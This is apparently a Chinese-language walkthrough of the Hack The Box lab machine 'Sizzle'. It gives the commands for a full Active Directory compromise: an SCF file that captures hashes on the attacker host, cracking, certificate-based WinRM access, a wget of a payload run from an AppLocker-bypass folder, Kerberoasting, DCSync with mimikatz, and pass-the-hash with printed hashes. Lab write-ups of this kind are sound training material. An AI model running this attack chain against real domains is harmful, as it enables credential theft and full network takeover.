hack the box -- sizzle 渗透过程总结，之前对涉及到域内证书啥的还不怎么了解
把之前的笔记搬运过来
---
1 开了443,用smbclient建立空连接查看共享
smbclient -N -L \\\\1.1.1.1
Department Shares
Operations share
CertEnroll
这三个share是域证书服务的默认共享
2 将共享挂载到本地
mount -t cifs -o rw,username=guest,password= '//10.10.10.103/Department Shares' /mnt
cd /mnt
3 查看共享目录中的可写目录
#!/bin/bash
list=$(find /mnt -type d)
for d in $list
do
touch $d/x 2>/dev/null
if [$?-eq0]
then
echo $d " is writable"
fi
done
4 在可写目录放scf文件获取hash,开启responder监听
[Shell]
Command=2
IconFile=\\10.10.14.3\share\pwn.ico
[Taskbar]
Command=ToggleDesktop
cp pwn.scf /mnt/Users/Public
cp pwn.scf /mnt/ZZ_ARCHIVE
Responder -I tun0
5 破解hash,获得密码a
john hash -w=/path/to/rockyou.txt
6 开了5985,使用脚本尝试使用PSRemoting
https://github.com/Alamot/code-snippets/blob/master/winrm/winrm_shell.rb
失败,发现服务器使用证书认证
7 创建证书
发现前面的密码可以登陆443端口的ad cs /certsrv
创建过程中两次指定一致的pass phrase
创建证书签名请求csr
openssl genrsa -des3 -out amanda.key 2048 # create private key
openssl req -new -key amanda.key -out amanda.csr # create csr
8 修改winrm_shell.rb脚本
conn = WinRM::Connection.new(
endpoint: 'https://10.10.10.103:5986/wsman',
transport: :ssl,
:client_cert => 'certnew.cer', # from the server
:client_key => 'amanda.key', # private key
:no_ssl_peer_verification => true
)
rlwrap ruby winrm_shell.rb
9 使用covenant做cc
10 下载并利用color绕过applocker执行launcher
wget http://10.10.16.3/pwn.exe -O pwn.exe
cp pwn.exe C:\Windows\System32\spool\drivers\color
C:\Windows\System32\spool\drivers\color\pwn.exe
11 获取SPN
shell setspn.exe -t htb -q */*
12 kerberoast
先用前面的密码生成token
MakeToken user domian pass
kerberoast spn_user
hashcat 破解
hashcat -m 13100 -a 0 spn_user rockyou.txt
13 用同样的方式弹一个新用户的shell回来
14 使用powerview探测acl的错误配置
1 wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1
2 PowerShellImport PowerView.ps1
powershell Get-ObjectACL "DC=htb,DC=local" -ResolveGUIDs | ? { ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get') }
发现这个对象有这个权限DS-Replication-Get-Changes-All privilege
属于新获得的那个用户
15 有DS-Replication-Get-Changes-All privilege这个权限的用户可以直接dcsync
DCSync administrator htb.local sizzle
或者用mimikatz
mimikatz lsadump::dcsync /user:administrator /domain:htb.local /dc:sizzle
16 用psexec或者wmiexec pth
wmiexec.py administrator@10.10.10.103 -hashes
336d863559a3f7e69371a85ad959a675:f6b7160bfc91823792e0ac3a162c9267
